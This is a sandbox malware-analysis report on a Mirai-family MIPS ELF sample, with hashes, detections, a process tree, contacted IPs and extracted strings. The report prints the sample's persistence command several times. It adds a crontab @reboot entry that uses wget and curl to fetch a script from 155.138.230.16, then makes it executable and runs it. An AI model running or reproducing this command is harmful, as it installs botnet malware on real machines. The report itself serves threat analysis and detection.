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Linux Analysis Report
mipsel.elf

Overview

General Information

Sample name:	mipsel.elf
Analysis ID:	1646342
MD5:	31ec719ec5c193250d6930c971780141
SHA1:	dade357c8f8b20ac84ecf5dd179615f79db9f056
SHA256:	67cde57fc92448ef12c13e9424fda77fb95e19c9d181e8b774aa5b6756dc7e65
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	72
Range:	0 - 100

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Executes the "crontab" command typically for achieving persistence

Creates hidden files and/or directories

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "chmod" command used to modify permissions

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Sleeps for long times indicative of sandbox evasion

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1646342
Start date and time:	2025-03-23 22:45:59 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	mipsel.elf
Detection:	MAL
Classification:	mal72.troj.linELF@0/48@2/0

Runtime Messages

Command:	/tmp/mipsel.elf
PID:	6261
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	we kinda rocking ngl
Standard Error:

Process Tree

system is lnxubuntu20

mipsel.elf (PID: 6261, Parent: 6182, MD5: 0d6f61f82cf2f781c6eb0661071d42d9) Arguments: /tmp/mipsel.elf

mipsel.elf New Fork (PID: 6264, Parent: 6261)

mipsel.elf New Fork (PID: 6266, Parent: 6264)

mipsel.elf New Fork (PID: 6273, Parent: 6264)

mipsel.elf New Fork (PID: 6275, Parent: 6264)

mipsel.elf New Fork (PID: 6277, Parent: 6264)

sh (PID: 6277, Parent: 6264, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "(crontab -l ; echo \"@reboot /bin/bash -c \"/bin/wget http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh\"\") | crontab -"

sh New Fork (PID: 6279, Parent: 6277)

sh New Fork (PID: 6281, Parent: 6279)

crontab (PID: 6281, Parent: 6279, MD5: 66e521d421ac9b407699061bf21806f5) Arguments: crontab -l

sh New Fork (PID: 6282, Parent: 6279)

chmod (PID: 6282, Parent: 6279, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x bins.sh

sh New Fork (PID: 6283, Parent: 6279)

sh (PID: 6283, Parent: 6279, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh bins.sh

sh New Fork (PID: 6284, Parent: 6279)

curl (PID: 6284, Parent: 6279, MD5: add6bc2195e82c55985ccf49fd4048e6) Arguments: /bin/curl -k -L --output bins.sh http://155.138.230.16/bins/bins.sh

sh New Fork (PID: 6280, Parent: 6277)

crontab (PID: 6280, Parent: 6277, MD5: 66e521d421ac9b407699061bf21806f5) Arguments: crontab -

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
mipsel.elf	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
6266.1.00007f718c400000.00007f718c41a000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
6261.1.00007f718c400000.00007f718c41a000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security

Shell command executed: sh -c "(crontab -l ; echo \"@reboot /bin/bash -c \"/bin/wget http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh\"\") | crontab -"

Jump to behavior

Source: /bin/sh (PID: 6282)

Chmod executable: /usr/bin/chmod -> chmod +x bins.sh

Jump to behavior

Source: /tmp/mipsel.elf (PID: 6275)	Sleeps longer then 60s: 60.0s			Jump to behavior
Source: /tmp/mipsel.elf (PID: 6275)	Sleeps longer then 60s: 60.0s			Jump to behavior

Source: /tmp/mipsel.elf (PID: 6261)

Queries kernel information via 'uname':

Jump to behavior

Source: mipsel.elf, 6261.1.0000557a9289e000.0000557a92946000.rw-.sdmp, mipsel.elf, 6266.1.0000557a9289e000.0000557a92946000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mipsel
Source: mipsel.elf, 6266.1.00007ffe2802b000.00007ffe2804c000.rw-.sdmp	Binary or memory string: zU/tmp/qemu-open.N35s7Y
Source: mipsel.elf, 6261.1.00007ffe2802b000.00007ffe2804c000.rw-.sdmp, mipsel.elf, 6266.1.00007ffe2802b000.00007ffe2804c000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/mipsel.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/mipsel.elf
Source: mipsel.elf, 6266.1.00007ffe2802b000.00007ffe2804c000.rw-.sdmp	Binary or memory string: /tmp/qemu-open.N35s7Y
Source: mipsel.elf, 6261.1.00007ffe2802b000.00007ffe2804c000.rw-.sdmp, mipsel.elf, 6266.1.00007ffe2802b000.00007ffe2804c000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mipsel
Source: mipsel.elf, 6261.1.0000557a9289e000.0000557a92946000.rw-.sdmp, mipsel.elf, 6266.1.0000557a9289e000.0000557a92946000.rw-.sdmp	Binary or memory string: zU!/etc/qemu-binfmt/mipsel

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: mipsel.elf, type: SAMPLE
Source: Yara match	File source: 6266.1.00007f718c400000.00007f718c41a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6261.1.00007f718c400000.00007f718c41a000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: mipsel.elf, type: SAMPLE
Source: Yara match	File source: 6266.1.00007f718c400000.00007f718c41a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6261.1.00007f718c400000.00007f718c41a000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Virtualization/Sandbox Evasion	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Scripting	Boot or Logon Initialization Scripts	1 File and Directory Permissions Modification	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Hidden Files and Directories	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
mipsel.elf	24%	Virustotal		Browse
mipsel.elf	25%	ReversingLabs	Linux.Backdoor.Bashlite
mipsel.elf	100%	Avira	EXP/ELF.Mirai.W

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://155.138.230.16/bins/bins.sh;	100%	Avira URL Cloud	malware

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.znet.homes	155.138.230.16	true	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://155.138.230.16/bins/bins.sh;	mipsel.elf	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
155.138.230.16	api.znet.homes	United States	20473	AS-CHOOPAUS	true
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
109.202.202.202	kpLwzBouH4.elf	Get hash	malicious	Unknown	Browse	ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
91.189.91.43	bot.elf	Get hash	malicious	Unknown	Browse
	parm5.elf	Get hash	malicious	Unknown	Browse
	pmips.elf	Get hash	malicious	Mirai	Browse
	gigab.sh4.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	whisper.armv5.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	gigab.x86.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
91.189.91.42	bot.elf	Get hash	malicious	Unknown	Browse
	parm5.elf	Get hash	malicious	Unknown	Browse
	pmips.elf	Get hash	malicious	Mirai	Browse
	gigab.sh4.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	whisper.armv5.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	gigab.x86.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-CHOOPAUS	Setup.exe	Get hash	malicious	Unknown	Browse	45.32.1.23
	xpmg.exe	Get hash	malicious	Unknown	Browse	155.138.150.12
	courtyardhealthcare.com.exe	Get hash	malicious	Unknown	Browse	139.180.160.173
	compited.ps1	Get hash	malicious	Unknown	Browse	139.180.160.173
	Nyx4r.mpsl.elf	Get hash	malicious	Okiru	Browse	44.168.169.166
	hoho.armv5l.elf	Get hash	malicious	Unknown	Browse	44.174.49.98
	yarn.elf	Get hash	malicious	Unknown	Browse	149.253.222.204
	https://metamaeasskelog.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	45.32.7.89
	http://metamaskelogines.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	155.138.141.200
	jkse.mips.elf	Get hash	malicious	Unknown	Browse	44.168.169.169
CANONICAL-ASGB	owari.arm6.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	bot.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	parm5.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	pmips.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	gigab.sh4.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	whisper.armv5.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	gigab.x86.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
CANONICAL-ASGB	owari.arm6.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	bot.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	parm5.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	pmips.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	gigab.sh4.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	whisper.armv5.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	gigab.x86.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
INIT7CH	bot.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	parm5.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	pmips.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	gigab.sh4.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	whisper.armv5.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	gigab.x86.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Source: mipsel.elf	Virustotal: Detection: 24%			Perma Link
Source: mipsel.elf	ReversingLabs: Detection: 25%

Source: mipsel.elf	String: /proc//exedvrHelper/proc/%d/cwd/var/tmp/proc/%d/fd.../proc/%d/fd/%s/proc/proc/%d/stat /cmdline/wget/tftp/curl/reboot/libbin//dev/watchdog/dev/misc/watchdogmipsel->unknown%d/bin/busybox/bin/sh/var/Sofiatelnetd
Source: mipsel.elf	String: /bin/bash -c "/bin/wget http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
Source: mipsel.elf	String: j2go/proc/net/tcp5.188.230.23137.18.73.94167.235.128.15168.191.23.13445.195.74.233141.94.21.7118.220.154.2118.210.151.8537.187.153.12745.195.74.1970123456789ABCDEF(crontab -l ; echo "@reboot %s") \| crontab -/bin/bash -c "/bin/wget http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh"%s/.bashrca

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:43252 -> 155.138.230.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: /proc//exedvrHelper/proc/%d/cwd/var/tmp/proc/%d/fd.../proc/%d/fd/%s/proc/proc/%d/stat /cmdline/wget/tftp/curl/reboot/libbin//dev/watchdog/dev/misc/watchdogmipsel->unknown%d/bin/busybox/bin/sh/var/Sofiatelnetd

Source: /bin/sh (PID: 6281)	Crontab executable: /usr/bin/crontab -> crontab -l			Jump to behavior
Source: /bin/sh (PID: 6280)	Crontab executable: /usr/bin/crontab -> crontab -			Jump to behavior

Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/1582/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/3088/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/230/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/110/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/231/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/111/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/232/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/1579/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/112/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/233/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/1699/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/113/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/234/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/1335/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/1698/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/114/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/235/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/1334/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/1576/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/2302/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/115/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/236/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/116/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/237/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/117/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/118/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/910/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/119/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/912/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/10/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/2307/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/11/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/918/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/12/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/13/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/14/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/15/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/6245/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/16/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/6244/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/17/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/18/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/1594/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/120/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/121/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/1349/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/1/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/122/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/243/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/123/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/2/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/124/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/3/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/4/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/125/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/126/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/1344/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/1465/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/1586/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/127/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/6/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/248/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/128/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/249/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/1463/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/800/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/9/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/801/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/20/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/21/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/1900/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/22/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/23/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/24/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/25/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/26/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/27/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/28/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/29/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/491/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/250/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/130/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/251/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/252/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/132/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/253/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/4507/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/254/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/255/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/256/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/1599/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/257/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/1477/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/379/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/258/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/1476/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/259/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/1475/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/4500/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/936/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/30/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/2208/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/35/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/6264/stat	Jump to behavior
Source: /tmp/mipsel.elf (PID: 6273)	File opened: /proc/6266/stat	Jump to behavior

Process:	/tmp/mipsel.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	116
Entropy (8bit):	2.721716200223279
Encrypted:	false
SSDEEP:	3:RKXIP7JQVBdSQhVvX:R0/WGf
MD5:	80EC25ABC75251091B1440A38049F225
SHA1:	60CC9C5826CA919619839D4694E5AD070C64DA1C
SHA-256:	27F369EDBFBD5044EEF636654B91D7788DA90BE85E18202967CB18C73CD74322
SHA-512:	0A68412A04C9AE7FC8357C158089321BC649A96EDC103EBF2760E040EADB403F9A9F06FA498DB9DA1DFAE05DA63AA7555522B40660208189D7894CCB5DF27A8B
Malicious:	false
Reputation:	low
Preview:	6273 (/tmp/mipsel.elf) 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2147483056 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.

File type:	ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.6130983817116995
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	mipsel.elf
File size:	113'188 bytes
MD5:	31ec719ec5c193250d6930c971780141
SHA1:	dade357c8f8b20ac84ecf5dd179615f79db9f056
SHA256:	67cde57fc92448ef12c13e9424fda77fb95e19c9d181e8b774aa5b6756dc7e65
SHA512:	921c763fa78569f5a1e34c7aefa749cc42fcb0540b7f53ad7472385aea438306f5d0db4c9828d051bc8ef96dc6c2220e42fc26af41ab97bbb990afe3e7dc4853
SSDEEP:	1536:LZuAlw+00hodXMI1QeD4PX1c3BjNsNWK3EuXC7sMrkIstMx56N+Q64meBwgCV7D0:LhF00hodXMIVD4PX1+ZSgcEcNS4s/8
TLSH:	C3B3E70AAB210EB7DC1FDD3746E90B1525CCB91723A52B397138DE18BA4B1CB1AD3974
File Content Preview:	.ELF....................p.@.4...\|.......4. ...(...............@...@...........................E...E.H....n..........Q.td...............................<\|".'!......'.......................<X".'!.............9'.. ........................<(".'!... ........\|9

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400270
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	112508
Section Header Size:	40
Number of Section Headers:	17
Header String Table Index:	16

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
